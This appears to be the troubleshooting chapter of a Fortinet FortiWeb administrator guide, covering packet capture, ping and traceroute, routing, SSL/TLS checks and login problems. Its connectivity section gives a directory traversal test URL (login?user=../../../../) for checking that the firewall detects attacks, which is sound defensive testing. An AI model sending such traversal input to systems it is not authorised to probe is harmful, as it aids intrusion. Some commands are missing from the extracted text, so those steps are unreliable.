diagnose network sniffer packet port1 'tcp port 443' 3
but do not press Enter yet.
4. In the upper left corner of the window, click the PuTTY icon to open its drop-down menu, then select
Change Settings. A dialog appears where you can configure PuTTY to save output to a plain text file.
5. In the Category tree on the left, go to Session > Logging.
6. In Session logging, select Printable output.
7. In Log file name, click the Browse button, then choose a directory path and file name such as
C:\Users\MyAccount\packet_capture.txt to save the packet capture to a plain text file. (You do not
need to save it with the .log file extension.)
8. Click Apply.
9. Press Enter to send the CLI command to the FortiWeb appliance, beginning packet capture.

Troubleshooting 834
10. If you have not specified a number of packets to capture, when you have captured all packets that you want to
analyze, press Ctrl + C to stop the capture.
11. Close the PuTTY window.
12. Open the packet capture file using a plain text editor such as Notepad.
13. Delete the first and last lines, which look like this:
=~=~=~=~=~=~=~=~=~=~=~= PuTTY log 5/27/2020.07.25 11:34:40 =~=~=~=~=~=~=~=~=~=~=~=
FortiWeb-2000 #
These lines are a PuTTY timestamp and a command prompt, which are not part of the packet capture. If you do not
delete them, they could interfere with the script in the next step.
14. Convert the plain text file to a format recognizable by your network protocol analyzer application.
You can convert the plain text file to a format (.pcap) recognizable by Wireshark (formerly called Ethereal) using
the fgt2eth.pl Perl script. To download fgt2eth.pl, see the Fortinet Knowledge Base article
"Troubleshooting Tool: Using the FortiOS built-in packet sniffer
(http://kb.fortinet.com/kb/documentLink.do?externalId=11186).
The fgt2eth.pl script is provided as-is, without any implied warranty or

technical support, and requires that you first install a Perl module compatible
with your operating system.
To use fgt2eth.pl, open a command prompt, then enter a command such as the following:
fgt2eth.pl -in packet_capture.txt -out packet_capture.pcap
where:
lfgt2eth.pl is the name of the conversion script; include the path relative to the current directory, which is
indicated by the command prompt
l packet_capture.txt is the name of the packet capture’s output file; include the directory path relative to
your current directory
l packet_capture.pcap is the name of the conversion script’s output file; include the directory path relative
to your current directory where you want the converted output to be saved
15. Open the converted file in your network protocol analyzer application. For further instructions, see the
documentation for that application.

Troubleshooting 835
Viewing sniffer output in Wireshark
For additional information on packet capture, see the Fortinet Knowledge Base article "Troubleshooting
Tool: Using the FortiOS built-in packet sniffer (http://kb.fortinet.com/kb/documentLink.do?externalId=11186).
For more information on CLI commands, see the FortiWeb CLI Reference:
Packet capture via Web UI
1. Go to System > Network > Packet Capture.

2. Click Create New to create a new packet capture policy.
Interface Select the network interface on which you want to capture packets.
Filter Specify which protocols and port numbers that you do or do not want to
capture, such as 'tcp and port 80 and host IP1 and ( IP2 or
IP3 )', or leave this field blank for no filters.
Note that please use the same filter expression as tcpdump for this filter, you
can refer to the Linux man page of TCPDUMP
(http://www.tcpdump.org/manpages/tcpdump.1.html).
Maximum Packet Specify the maximum packets you want to capture for the policy. Capture will

Troubleshooting 836
Count stop automatically if the total captured packets hits the count.
4. Click OK.
5. Configure a packet capture policy from the policy table:
Interface The network interface on which the packet capture policy is applied.
Filter The protocols and port numbers that the packet capture policy do or do not
want to capture.
Packets Current captured packet count. This value keeps increasing during the capture
is running.
Maximum Packet The maximum packets count of the policy.

Count
Progress Click the Start button aside No Running to start the capture.
During the capture processing, a progress bar is displayed to show the

progress to the maximum packet count. Count of captured packets is displayed
in Packets field.
Capture stops when hitting the maximum packet count, or you can click the
Stop button to stop the capture anytime. Captured packets will be saved as a
.pcap file.
Click the Download button to download the capture output file.
Click the Restart button to restart the capture.
Diagnostic commands in the CLI
Most diagnostic tools are in the CLI and are not available from the web UI. Many are shown in Solutions by issue type
on page 838. For more information on the diagnose command and other CLI commands, see the FortiWeb
CLI Reference:
Retrieving debug logs
If your troubleshooting issue requires debugging, use a diagnose CLI command to enable debug logs, which saves
the following logs to a file on the appliance’s internal flash disk:
l crash logs
l daemon logs
l kernel logs
l netstat logs
l core dump logs
l perf log

Troubleshooting 837
l top log
l tcpdump logs
Then, go to System > Maintenance > Debug > Download to retrieve the logs..
Note: To access this part of the web UI, your administrator’s account must have the prof_admin permission. For
details, see Permissions on page 56.
How to troubleshoot
If you are new to troubleshooting network appliances in general, this section outlines some basic skills.
Establishing a system baseline
Before you can define an abnormal operation, you need to know what normal operation is. When there is a problem, a
baseline for normal operation helps you to define what is wrong or changed.
Baseline information can include:
l Logging (see Enabling log types, packet payload retention, & resource shortage alerts on page 701)
l Monitoring performance statistics such as memory usage (see System Resources widget on page 688 and SNMP
traps & queries on page 727)
l Regular backups of the FortiWeb appliance's configuration (see Backups on page 322)
If you accidently change something, the backup can help you restore normal operation quickly and easily. Backups also
can aid in troubleshooting: you can use a tool such as diff to find the parts of the configuration that have changed.
See also
l Diff on page 830

Determining the source of the problem
To know which solutions to try, you first need to locate the source of the problem. Occasionally, a problem has more
than one possible source. To find a working solution, you will need to determine the exact source of the problem.
l Did FortiWeb’s hardware and software both start properly? If not, see Bootup issues on page 854.
l Are you having Login issues? For details, see Login issues on page 852.
l What has recently changed?
Do not assume that nothing has changed in the network. Use Diff and Backups to see if something changed in the
configuration, and Logging to see if an unusual condition occurred. If the configuration did change, see what the
effect is when you roll back the change.
l Does your configuration involve HTTPS?
If yes, make sure your certificate is loaded and valid.

Troubleshooting 838
l Are any web servers down?

See Policy Status dashboard on page 696.
l Is a policy disabled?
l Does the problem originate on the camera, FortiWeb, or your computer? There are two sides to every connection.
For details, see Connectivity issues on page 839.
l Does the problem affect only specific clients or servers? Are they all of the same type?
l Is the problem intermittent or random? Or can you reproduce it reliably, regardless of which camera or computer
you use to connect to FortiWeb?
If the problem is intermittent, you can use the System Resources widget on page 688 to see whether the problem
corresponds to FortiWeb processor or RAM exhaustion. For details, see Resource issues on page 850.
You can also view the event log. If there is no event log, someone may have disabled that feature. For details, see
l Is your system under attack?
View the Attack Log widget on page 689.
See also
l Connectivity issues on page 839

l Resource issues on page 850
l Login issues on page 852
l Bootup issues on page 854
l Diff on page 830
Planning & access privileges
Create a checklist so that you know what you have tried, and what is left to check.
If you need to contact Fortinet Technical Support, it helps to provide a list of what data you gathered and what solutions
you tried. This prevents duplicated efforts, and minimizes the time required to resolve your ticket.
If you need access to other networking equipment such as switches, routers, and servers to help you test, contact your
network administrator. Fortinet Technical Support will not have access to this other equipment. However, they may
need to ask you to adjust a setting on the other equipment.
If you are not using the admin account on FortiWeb, verify that your account has the permissions you need to run all
diagnostics.
Solutions by issue type
Recommended solutions vary by the type of issue.

l Connectivity issues on page 839
l Resource issues on page 850
l Login issues on page 852

Troubleshooting 839
l Data storage issues on page 854

l Bootup issues on page 854
Fortinet also provides these resources:
l FortiWeb Release Notes (http://docs.fortinet.com/fortiweb/release-information)
l Technical documentation (http://docs.fortinet.com/fortiweb/admin-guides)
l Knowledge base (http://kb.fortinet.com)
l Forums (http://support.fortinet.com/forum)
l Online tutorials and training materials (http://training.fortinet.com)
Check within your organization. You can save time and effort during the troubleshooting process by checking if other
FortiWeb administrators experienced a similar problem before.
Connectivity issues
One of your first tests when configuring a new policy should be to determine whether allowed traffic is flowing to your
web servers.
l Is there a server policy applied to the web server or servers FortiWeb was installed to protect? If it is operating in
Reverse Proxy mode, FortiWeb will not allow any traffic to reach a protected web server unless there is a matching
server policy that permits it.
l If your network utilizes secure connections (HTTPS) and there is no traffic flow, is there a problem with your
certificate?
l If you run a test attack from a browser aimed at your website, does it show up in the attack log?
To verify, configure FortiWeb to detect the attack, then craft a proof-of-concept that will trigger the attack sensor. For
example, to see whether directory traversal attacks are being logged and/or blocked, you could use your web browser to
go to:
http://www.example.com/login?user=../../../../
Under normal circumstances, you should see a new attack log entry in the attack log console widget of the system
dashboard. For details, see Attack Log widget on page 689.
See also
l Checking hardware connections on page 839

l Checking port assignments on page 848
l Checking routing on page 840
l Examining the routing table on page 848
l Examining the ARP table on page 840
l Debugging the packet processing flow on page 849
l Packet capture on page 831
l Monitoring traffic load on page 851
l Preparing for attacks on page 851
Checking hardware connections
If there is no traffic flowing from the FortiWeb appliance, it may be a hardware problem.

Troubleshooting 840
To check hardware connections
l Ensure the network cables are properly plugged in to the interfaces on the FortiWeb appliance.
l Ensure there are connection lights for the network cables on the appliance.
l Change the cable if the cable or its connector are damaged or you are unsure about the cable’s type or quality.
l Connect the FortiWeb appliance to different hardware to see if that makes a difference.
l In the web UI, go to Status > Network > Interface and ensure that the link status is up for the interface.
If the status is down (down arrow on red circle), click Bring Up next to it in the Status column.
You can also enable an interface in CLI, for example:
edit port2
set status up
end
If any of these checks solve the problem, it was a hardware connection issue. You should still perform some basic
software tests to ensure complete connectivity.
If the hardware connections are correct and the appliance is powered on but you cannot connect using the CLI or web
UI, you may be experiencing bootup problems. See Bootup issues on page 854.
Examining the ARP table
When you have poor connectivity, another good place to look for information is the address resolution protocol (ARP)
table. A functioning ARP is especially important in high-availability configurations.
To check the ARP table in the CLI, enter:
diagnose network arp list
Checking routing
ping and traceroute are useful tools in network connectivity and route troubleshooting.
Since you typically use these tools to troubleshoot, you can allow ICMP, the protocol used by these tools, in firewall
policies and on interfaces only when you need them. Otherwise, disable ICMP for improved security and performance.
By default, the FortiWeb appliance will forward only HTTP/HTTPS traffic to your protected web servers. (That is,
routing/IP-based forwarding is disabled.) For information on enabling forwarding of FTP or other protocols, see the
config router setting command in the FortiWeb CLI Reference:
By default, FortiWeb appliances will respond to ping and traceroute. However, if the appliance does not respond,
and there are no firewall policies that block it, ICMP type 0 (ECHO_REPSPONSE) might be effectively disabled.
To enable ping and traceroute responses from FortiWeb

To access this part of the web UI, you must have Read and Write permission in your administrator's account
access profile to items in the Router Configuration category. For details, see Permissions on page 56.
2. In the row for the network interface which you want to respond to ICMP type 8 (ECHO_REQUEST) for ping and
UDP for traceroute, click Edit.
A dialog appears.

Troubleshooting 841
3. Enable PING on page 127.
Disabling PING on page 127 only prevents FortiWeb from receiving ICMP type
8 (ECHO_REQUEST) and traceroute-related UDP and responding to it.
It does not disable FortiWeb CLI commands such as execute ping or
execute traceroute that send such traffic.
4. If Trusted Host #1 on page 330, Trusted Host #2 on page 330, and Trusted Host #3 on page 330 have been
restricted, verify that they include your computer or device’s IP address. Otherwise FortiWeb will not respond.
5. Click OK.
The appliance should now respond when another device such as your management computer sends a ping or
traceroute to that network interface.
To verify routes between clients and your web servers
1. Attempt to connect through the FortiWeb appliance, from a client to a protected web server, via HTTP and/or
HTTPS.
If the connectivity test fails, continue to the next step.
2. Use the ping command on both the client and the server to verify that a route exists between the two. Test traffic
movement in both directions: from the client to the server, and the server to the client. Web servers do not need to
be able to initiate a connection, but must be able to send reply traffic along a return path.
In networks using features such as asymmetric routing, routing success in one

direction does not guarantee success in the other.
If the routing test succeeds, continue with For application-layer problems, on the FortiWeb, examine the: on page
841.
If the routing test fails, continue to the next step.
3. Use the tracert or traceroute command on both the client and the server (depending on their operating
systems) to locate the point of failure along the route.
If the route is broken when it reaches the FortiWeb appliance, first examine its network interfaces and routes. To
display network interface addresses and subnets, enter the CLI command:
show system interface
To display all recently-used routes with their priorities, enter the CLI command:
You may need to verify that the physical cabling is reliable and not loose or broken, that there are no IP address or
MAC address conflicts or blacklisting, misconfigured DNS records, and otherwise rule out problems at the physical,
network, and transport layer.
If these tests succeed, a route exists, but you cannot connect using HTTP or HTTPS, an application-layer problem
4. For application-layer problems, on the FortiWeb, examine the:
l matching server policy and all components it references
l certificates (if connecting via HTTPS)
l web server service/daemon (it should be running, and configured to listen on the port specified in the server
policy for HTTP and/or HTTPS, for virtual hosts, they should be configured with a correct Host: name)

Troubleshooting 842
On routers and firewalls between the host and the FortiWeb appliance, verify that they permit HTTP and/or HTTPS
connectivity between them.
Testing for connectivity with ping
The ping command sends a small data packet to the destination and waits for a response. The response has a timer
that may expire, indicating that the destination is unreachable via ICMP.
Connectivity via ICMP only proves that a route exists. It does not prove that
connectivity also exists via other protocols at other layers such as HTTP.
ICMP is part of Layer 3 on the OSI Networking Model. ping sends Internet Control Message Protocol (ICMP) ECHO_
REQUEST (“ping”) packets to the destination, and listens for ECHO_RESPONSE (“pong”) packets in reply.
Some networks block ICMP packets because they can be used in a ping flood or denial of service (DoS) attack if the
network does not have anti-DoS capabilities, or because ping can be used by an attacker to find potential targets on
the network.
Beyond basic existence of a possible route between the source and destination, ping tells you the amount of packet
loss (if any), how long it takes the packet to make the round trip (latency), and the variation in that time from packet to
packet (jitter).
If ping shows some packet loss, investigate:
l cabling to eliminate loose connections
l ECMP, split horizon, or network loops
l all equipment between the ICMP source and destination to minimize hops
If ping shows total packet loss, investigate:
l cabling to eliminate incorrect connections
l all firewalls, routers, and other devices between the two locations to verify correct IP addresses, routes, MAC lists,
trusted hosts, and policy configurations
If ping finds an outage between two points, use traceroute to locate exactly where the problem is.
To ping a device from the FortiWeb CLI
1. Log in to the CLI via either SSH, Telnet, or you can ping from the FortiWeb appliance in the CLI Console
accessed from the web UI.
2. If you want to adjust the behavior of execute ping, first use the execute ping options command. For
3. Enter the command:
execute ping <destination_ipv4>
where <destination_ipv4> is the IP address of the device that you want to verify that the appliance can
connect to, such as 192.168.1.1.

Troubleshooting 843
To verify that routing is bidirectionally symmetric, you should also ping the
appliance. For details, see To enable ping and traceroute responses from
FortiWeb on page 840 and To ping a device from a Microsoft Windows computer
on page 843 or To ping a device from a Linux or Mac OS X computer on page
844.
If the appliance can reach the host via ICMP, output similar to the following appears:
PING 192.0.2.96 (192.0.2.96): 56 data bytes

round-trip min/avg/max = 5.5/6.5/7.4 ms
If the appliance cannot reach the host via ICMP, output similar to the following appears:
PING 192.0.2.108 (192.0.2.108): 56 data bytes
Timeout ...
Timeout ...
Timeout ...
Timeout ...
Timeout ...

“100% packet loss” and “Timeout” indicates that the host is not reachable.
To ping a device from a Microsoft Windows computer
1. Click the Start (Windows logo) menu to open it.

If the host is running Windows XP, instead, go to Start > Run...
2. Type cmd then press Enter.
The Windows command line appears.
ping <options_str> <destination_ipv4>
where:
l <destination_ipv4> is the IP address of the device that you want to verify that the computer can connect
to, such as 192.0.2.1.
l <options_str> are zero or more options, such as:
l -t—Send packets until you press Control-C.
l -a—Resolve IP addresses to domain names where possible.
l-n x—Where x is the number of packets to send.
For example, you might enter:

Troubleshooting 844
ping -n 5 192.0.2.1
If the computer can reach the destination, output similar to the following appears:
Pinging 192.0.2.1 with 32 bytes of data:
Reply from 192.0.2.1: bytes=32 time=7ms TTL=253
Ping statistics for 192.0.2.1:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 5ms, Maximum = 11ms, Average = 7ms
If the computer cannot reach the destination, output similar to the following appears:
Pinging 192.0.2.1 with 32 bytes of data:
Request timed out.
Request timed out.
Request timed out.
Request timed out.
Ping statistics for 192.0.2.1:

Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
“100% loss” and “Request timed out.” indicates that the host is not reachable.
To ping a device from a Linux or Mac OS X computer
1. Open a command prompt.
Alternatively, on Mac OS X, you can use the Network Utility application.
2. Enter the following command:

ping <options_str> <destination_ipv4>
where:
l <destination_ipv4> is the IP address of the device that you want to verify that the computer can connect
to, such as 192.0.2.1.
l <options_str> are zero or more options, such as:
l -W y—Wait y seconds for ECHO_RESPONSE.
l -c x—Where x is the number of packets to send.
If the command is not found, you can either enter the full path to the executable or add its path to your shell
environment variables. The path to the ping executable varies by distribution, but may be /bin/ping.
If you do not supply a packet count, output will continue until you terminate the command with Control-C. For more
information on options, enter man ping.
ping -c 5 -W 2 192.0.2.1
If the computer can reach the destination via ICMP, output similar to the following appears:

Troubleshooting 845
PING 192.0.2.1 (192.0.2.1) 56(84) bytes of data.


5 packets transmitted, 5 received, 0% packet loss, time 4016ms
rtt min/avg/max/mdev = 6.854/8.804/11.072/1.495 ms
If the computer cannot reach the destination via ICMP, if you specified a wait and packet count rather than having
the command wait for your Control-C, output similar to the following appears:

5 packets transmitted, 0 received, 100% packet loss, time 5999ms
“100% packet loss” indicates that the host is not reachable.
Otherwise, if you terminate by pressing Control-C (^C), output similar to the following appears:
From 192.0.2.2 icmp_seq=31 Destination Host Unreachable
^C
41 packets transmitted, 0 received, +9 errors, 100% packet loss, time 40108ms
pipe 3
“100% packet loss” and “Destination Host Unreachable” indicates that the host is not
reachable.
Testing routes & latency with traceroute
traceroute sends ICMP packets to test each hop along the route. It sends three packets to the destination, and then
increases the time to live (TTL) setting by one, and sends another three packets to the destination. As the TTL
increases, packets go one hop farther along the route until they reach the destination.
Most traceroute commands display their maximum hop count—the maximum number of steps it will take before
declaring the destination unreachable—before they start tracing the route. The TTL setting may result in routers or
firewalls along the route timing out due to high latency.
Where ping only tells you if the signal reached its destination and returned successfully, traceroute shows each
step of its journey to its destination and how long each step takes. If you specify the destination using a domain name,
the traceroute output can also indicate DNS problems, such as an inability to connect to a DNS server.
By default, traceroute uses UDP with destination ports numbered from 33434 to 33534. The traceroute utility
usually has an option to specify use of ICMP ECHO_REQUEST (type 8) instead, as used by the Windows tracert
utility. If you have a firewall and you want traceroute to work from both machines (Unix-like systems and Windows)
you will need to allow both protocols inbound through your firewall (UDP ports 33434 - 33534 and ICMP type 8).
To trace the route to a device from the FortiWeb CLI
1. Log in to the CLI via either SSH, Telnet, or You can ping from the FortiWeb appliance in the CLI Console widget
of the web UI.

Troubleshooting 846

execute traceroute {<destination_ipv4> | <destination_fqdn>}
where {<destination_ipv4> | <destination_fqdn>} is a choice of either the device’s IP address or its

fully qualified domain name (FQDN).
execute traceroute www.example.com
If the appliance has a complete route to the destination, output similar to the following appears:
traceroute to www.fortinet.com (192.0.2.150), 32 hops max, 84 byte packets
1 192.0.2.87 0 ms 0 ms 0 ms
2 192.0.2.221 <static-209-87-254-221.storm.ca> 2 ms 2 ms 2 ms
3 192.0.2.129 <core-2-g0-1-1104.storm.ca> 2 ms 1 ms 2 ms
4 192.0.2.161 2 ms 2 ms 3 ms
5 192.0.2.17 <core2-ottawa23_POS13-1-0.net.bell.ca> 3 ms 3 ms 2 ms
6 192.0.2.234 <core2-ottawatc_POS5-0-0.net.bell.ca> 20 ms 20 ms 20 ms
7 192.0.2.58 <core4-toronto21_POS0-12-4-0.net.bell.ca> 24 ms 21 ms 24 ms
8 192.0.2.154 <bx4-toronto63_so-2-0-0-0.net.bell.ca> 8 ms 9 ms 8 ms
9 192.0.2.145 <bx2-ashburn_so2-0-0.net.bell.ca> 23 ms 23 ms 23 ms
10 192.0.2.9 23 ms 22 ms 22 ms
11 192.0.2.238 <cr2.wswdc.ip.att.net> 100 ms 192.0.2.130 <cr2.wswdc.ip.att.net> 101 ms
102 ms
12 192.0.2.21 <cr1.cgcil.ip.att.net> 101 ms 100 ms 99 ms
13 192.0.2.121 <cr1.sffca.ip.att.net> 100 ms 98 ms 100 ms
14 192.0.2.118 <cr81.sj2ca.ip.att.net> 98 ms 98 ms 100 ms
15 192.0.2.105 <gar2.sj2ca.ip.att.net> 96 ms 96 ms 96 ms
16 192.0.2.42 94 ms 94 ms 94 ms
17 192.0.2.10 88 ms 87 ms 87 ms
18 192.0.2.130 90 ms 89 ms 90 ms
19 192.0.2.150 <fortinet.com> 91 ms 89 ms 91 ms
20 192.0.2.150 <fortinet.com> 91 ms 91 ms 89 ms
Each line lists the routing hop number, the IP address and FQDN (if any) of that hop, and the 3 response times
from that hop. Typically a value of <1ms indicates a local router.
If the appliance does not have a complete route to the destination, output similar to the following appears:
1 192.0.2.2 0 ms 0 ms 0 ms
2 192.0.2.10 0 ms 0 ms 0 ms
3 * * *
4 * * *
The asterisks ( * ) indicate no response from that hop in the network routing. For details, see the FortiWeb
CLI Reference:
To trace the route to a device from a Microsoft Windows computer
1. Click the Start (Windows logo) menu to open it.

If the host is running Windows XP, instead, go to Start > Run...
2. Type cmd then press Enter.
The Windows command line appears.

Troubleshooting 847
tracert {<destination_ipv4> | <destination_fqdn>}
Tracing route to www.fortinet.com [192.0.2.34]
over a maximum of 30 hops:
1 <1 ms <1 ms <1 ms 192.0.2.2

2 2 ms 2 ms 2 ms static-192-0-2-221.storm.ca [192.0.2.221]
3 2 ms 2 ms 22 ms core-2-g0-1-1104.storm.ca [192.0.2.129]
4 3 ms 3 ms 2 ms 67.69.228.161
5 3 ms 2 ms 3 ms core2-ottawa23_POS13-1-0.net.bell.ca [192.0.2.17]
(Output abbreviated.)
15 97 ms 97 ms 97 ms gar2.sj2ca.ip.att.net [192.0.2.105]
16 94 ms 94 ms 94 ms 192.0.2.42
17 87 ms 87 ms 87 ms 192.0.2.10
18 89 ms 89 ms 90 ms 192.0.2.130
19 89 ms 89 ms 90 ms fortinet.com [192.0.2.34]
20 90 ms 90 ms 91 ms fortinet.com [192.0.2.34]
Trace complete.
Each line lists the routing hop number, the 3 response times from that hop, and the IP address and FQDN (if any)
of that hop. Typically a value of <1ms indicates a local router.
Tracing route to 192.0.2.1 over a maximum of 30 hops
1 <1 ms <1 ms <1 ms 192.0.2.2

2 <1 ms <1 ms <1 ms 192.0.2.10
3 * * * Request timed out.
4 * * * Request timed out.
5 ^C
The asterisks ( * ) and “Request timed out.” indicate no response from that hop in the network routing.
To trace the route to a device from a Linux or Mac OS X computer
1. Open a command prompt.
Alternatively, on Mac OS X, you can use the Network Utility application.
2. Enter:
traceroute {<destination_ipv4> | <destination_fqdn>}
Note: the path to the executable may vary by distribution.

traceroute to www.fortinet.com (192.0.2.34), 30 hops max, 60 byte packets
1 192.0.2.2 (192.0.2.2) 0.189 ms 0.277 ms 0.226 ms
3 core-2-g0-1-1104.storm.ca (192.0.2.129) 2.461 ms 2.516 ms 2.417 ms
4 192.0.2.161 (192.0.2.161) 3.041 ms 3.007 ms 2.966 ms

Troubleshooting 848
5 core2-ottawa23_POS13-1-0.net.bell.ca (192.0.2.17) 3.004 ms 2.998 ms 2.963 ms

(Output abbreviated.)
16 192.0.2.42 (192.0.2.42) 94.379 ms 94.114 ms 94.162 ms
17 192.0.2.10 (192.0.2.10) 122.879 ms 120.690 ms 119.049 ms
18 192.0.2.130 (203.78.181.130) 89.705 ms 89.411 ms 89.591 ms
19 fortinet.com (192.0.2.34) 89.717 ms 89.584 ms 89.568 ms
Each line lists the routing hop number, the IP address and FQDN (if any) of that hop, and the 3 response times
from that hop. Typically a value of <1ms indicates a local router.
1 * * *
2 192.0.2.10 (192.0.2.10) 4.160 ms 4.169 ms 4.144 ms
3 * * *
4 * * *^C
The asterisks ( * ) indicate no response from that hop in the network routing.
Relatedly, if the computer’s DNS query cannot resolve the host name, output similar to the following appears:
example.lab: Name or service not known
Cannot handle "host" cmdline arg èxample.lab' on position 1 (argc 1)
Examining the routing table
When a route does not exist, or when hops have high latency, examine the routing table. The routing table is where the
FortiWeb appliance caches recently used routes.
If a route is cached in the routing table, it saves time and resources that would otherwise be required for a route lookup.
If the routing table is full and a new route must be added, the oldest, least-used route is deleted to make room.
To check the routing table in the CLI, enter:
Checking port assignments
If you are attempting to connect to FortiWeb on a given network port, and the connection is expected to occur on a
different port number, the attempt will fail. For a list of ports used by FortiWeb, see Appendix A: Port numbers on page
862. For ports used by your own HTTP network services, see Defining your network services on page 198.
Performing a packet trace
When troubleshooting malformed packet or protocol errors, it helps to look inside the protocol headers of packets to
determine if they are traveling along the route you expect, and with the flags and other options you expect. For details,
see Packet capture on page 831.
If you configure virtual servers on your FortiWeb appliance, packets’ destination IP

addresses will be those IP addresses, not the physical IP addresses (i.e., the IP
address of port1, etc.). An ARP update is sent out when a virtual IP address is
configured.

Troubleshooting 849
If the packet trace shows that packets are arriving at your FortiWeb appliance’s interfaces but no HTTP/HTTPS packets
egress, check that:
l Physical links are firmly connected, with no loose wires
l Network interfaces/bridges are brought up (see Configuring the network interfaces on page 126)
l Link aggregation peers, if any, are up (see Link aggregation on page 136)
l VLAN IDs, if any, match (see Adding VLAN subinterfaces on page 129)
l Virtual servers or V-zones exist, and are enabled (see Configuring a bridge (V-zone) on page 133 and Configuring
virtual servers on your FortiWeb on page 199)
l Matching policies exist, and are enabled (see Configuring basic policies on page 211)
l If using HTTPS, valid server/CA certificates exist (see How to offload or inspect HTTPS on page 396)
l IP-layer, and HTTP-layer routes, if necessary, match (see Adding a gateway on page 142 and Routing based on
HTTP content on page 180)
l Web servers are responsive, if server health checks are configured and enabled (see Configuring server up/down
checks on page 163)
l Load balancers, if any, are defined (see Defining your proxies, clients, & X-headers on page 193)
l Clients are not blacklisted (see Monitoring currently blocked IPs on page 742)
For Offline Protection mode, it is usually normal if HTTP/HTTPS packets do not

egress. The nature of this deployment style is to listen only, except to reset the TCP
connection if FortiWeb detects traffic in violation.
If the packet is accepted by the policy but appears to be dropped during processing, see Debugging the packet
processing flow on page 849.
Debugging the packet processing flow
If you have determined that network traffic is not entering and leaving the FortiWeb appliance as expected, or not
flowing through policies and scans as expected, you can debug the packet flow using the CLI.
For example, the following commands enable debug logs and the logs timestamp, and set other parameters for debug
logging:
diagnose debug application proxy 7
diagnose debug flow show module-process-detail
diagnose debug flow trace start
diagnose debug flow filter server-ip 192.0.2.20
For detailed information on the diagnose debug commands, see the FortiWeb CLI Reference:
Checking the SSL/TLS handshake & encryption
If the client is attempting to make an HTTPS connection, but the attempt fails after the connection has been initiated,
during negotiation, the problem may be with SSL/TLS. Symptoms may include error messages such as:
l ssl_error_no_cypher_overlap
(Mozilla Firefox 9.0.1)

Troubleshooting 850
l Error 113 (net::ERROR_SSL_VERSION_OR_CIPHER_MISMATCH): Unknown error.

(Google Chrome 16.0.912.75 m)
Expected SSL/TLS behavior varies by SSL inspection vs. SSL offloading. For details, see Offloading vs. inspection on
page 386.
SSL offloading—Reverse Proxy mode only. For details, see Supported features in each operation mode on page 71.
The handshake is between the client and FortiWeb. If the connection cannot be established, verify that the browser
supports one of the key exchanges, encryption algorithms, and authentication (hashes) offered by FortiWeb. For
details, see Supported cipher suites & protocol versions on page 388.
SSL inspection—True Transparent Proxy, Offline Protection, and Transparent Inspection modes only.
The handshake is between the client and the web server. If the connection cannot be established, verify that the
browser supports one of the key exchanges, encryption algorithms, and authentication (hashes) suggested by the web
server. Server-side, you must also verify that your web server supports enough cipher suites that all required clients can
connect.
Google Chrome will prefer an anonymous Diffie-Hellman key exchange. This has
the property of perfect forward secrecy, which makes SSL inspection theoretically
impossible. To guarantee that this is not used to hide attacks from FortiWeb, you
must disable it on your web server. On Apache, you would add !ADH to the
SSLCipherSuite configuration line. For example:
SSLCipherSuite
ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
If you are not sure which cipher suites are currently supported, you can use SSL tools such as OpenSSL
(http://openssl.org) to discover support. For example, you could use this client-side command to know whether the web
server or FortiWeb supports strong (HIGH) encryption:
openssl s_client -connect example.com:443 -cipher HIGH
or supports deprecated or old versions such as SSL 2.0:

openssl s_client -ssl2 -connect example.com:443
If your web servers are required to comply with PCI DSS, you should make sure that
your web servers do not allow weak encryption. For example, if your web servers
accept SSL 2.0 or MD5 hashes, you may fail your PCI DSS audit.
Resource issues
This section includes troubleshooting questions related to sluggish or stalled performance.

l Is a process consuming too much system resources?
See Killing system-intensive processes on page 851.
l Is a server under attack?
See Preparing for attacks on page 851.
l Has there been a sustained spike in HTTP traffic related to a specific policy?
See Monitoring traffic load on page 851.

Troubleshooting 851
Killing system-intensive processes
Use the CLI to view the per-CPU/core process load level and a list of the most system-intensive processes. This may
show processes that are consuming resources unusually. For example:
diagnose system top 10
The above command generates a report of processes every 10 seconds. The report provides the process names, their
process ID (pid), status, CPU usage, and memory usage.
The report continues to refresh and display in the CLI until you press q (quit).
Once you locate an offending PID, you can terminate it:

diagnose system kill 9 <pid_int>
To determine if high load is frequently a problem, you can display the average load level by using these CLI commands:
get system performance
diagnose system load

If the issue recurs, and corresponds with a signature or configuration change, you may need to optimize regular
expressions to prevent the issue from recurring. For details, see Debugging the packet processing flow on page 849 and
Regular expression performance tips on page 799.
Monitoring traffic load
Heavy traffic loads can cause sustained high CPU or RAM usage. If this is unusual, no action may be required, unless
you are being subject to a DoS attack. Sustained heavy traffic load may indicate that you need a more powerful model
of FortiWeb.
In the FortiWeb appliance's web UI, you can view traffic load two ways:
l Monitor current HTTP traffic on the dashboard. Go to System > Status > Status and examine the graphs in the
Policy Summary widget.
l Examine traffic history in the traffic log. Go to Logs&Report > Log Access > Traffic.
Preparing for attacks
A prolonged denial of service (DoS) or brute-force login attack (to name just a few) can bring your web servers to a
standstill, if your FortiWeb appliance is not configured for it.
To fight DoS attacks, see DoS prevention on page 612.
In the FortiWeb appliance's web UI, you can watch for attacks in two ways:
l Monitor current HTTP traffic on the dashboard. Go to System > Status > Status and examine the attack event
history graph in the Policy Summary widget.
l Examine attack history in the traffic log. Go to Logs&Report > Log Access > Attack.
Before attacks occur, use the FortiWeb appliance's rich feature set to configure attack defenses.

Troubleshooting 852
Login issues
If the person cannot access the login page at all, it is usually actually a connectivity issue (see Ping & traceroute on page
829 and Configuring the network settings on page 124) unless all accounts are configured to accept logins only from
specific IP addresses (see Trusted Host #1 on page 330).
If an administrator can connect, but cannot log in, even though providing the correct account name and password, and
is receiving this error message:
Too many bad login attemptsor reached max number of logins. Please try again in a few
minutes. Login aborted.
single administrator mode may have been enabled. For details, see How to use the web UI on page 55.
If the person has lost or forgotten his or her password, the admin account can reset other accounts’ passwords. For
details, see Changing an administrator’s password on page 334.
Checking user authentication policies
In FortiWeb, users and organized into groups. Groups are part of authentication policies. If several users have
authentication problems, it is possible someone changed authentication policy or user group memberships. If a user is
legitimately having an authentication policy, you need to find out where the problem lies.
To troubleshoot user access
1. In the web UI, go to User > User Group > User Group and examine each group to locate the name of the
problem user.
2. Note the user group to which the affected users belong, especially if multiple affected users are part of one group.
If the user is not a group member, there is no access.
3. Go to Application Delivery > Authentication and select the Authentication Rule tab to determine which rule
contains the problem user group. If the user group is not part of a rule, there is no access.
4. Go to Application Delivery > Authentication and select the Authentication Policy tab to locate the policy
that contains the rule governing the problem user group. If the rule is not part of a policy, there is no access.
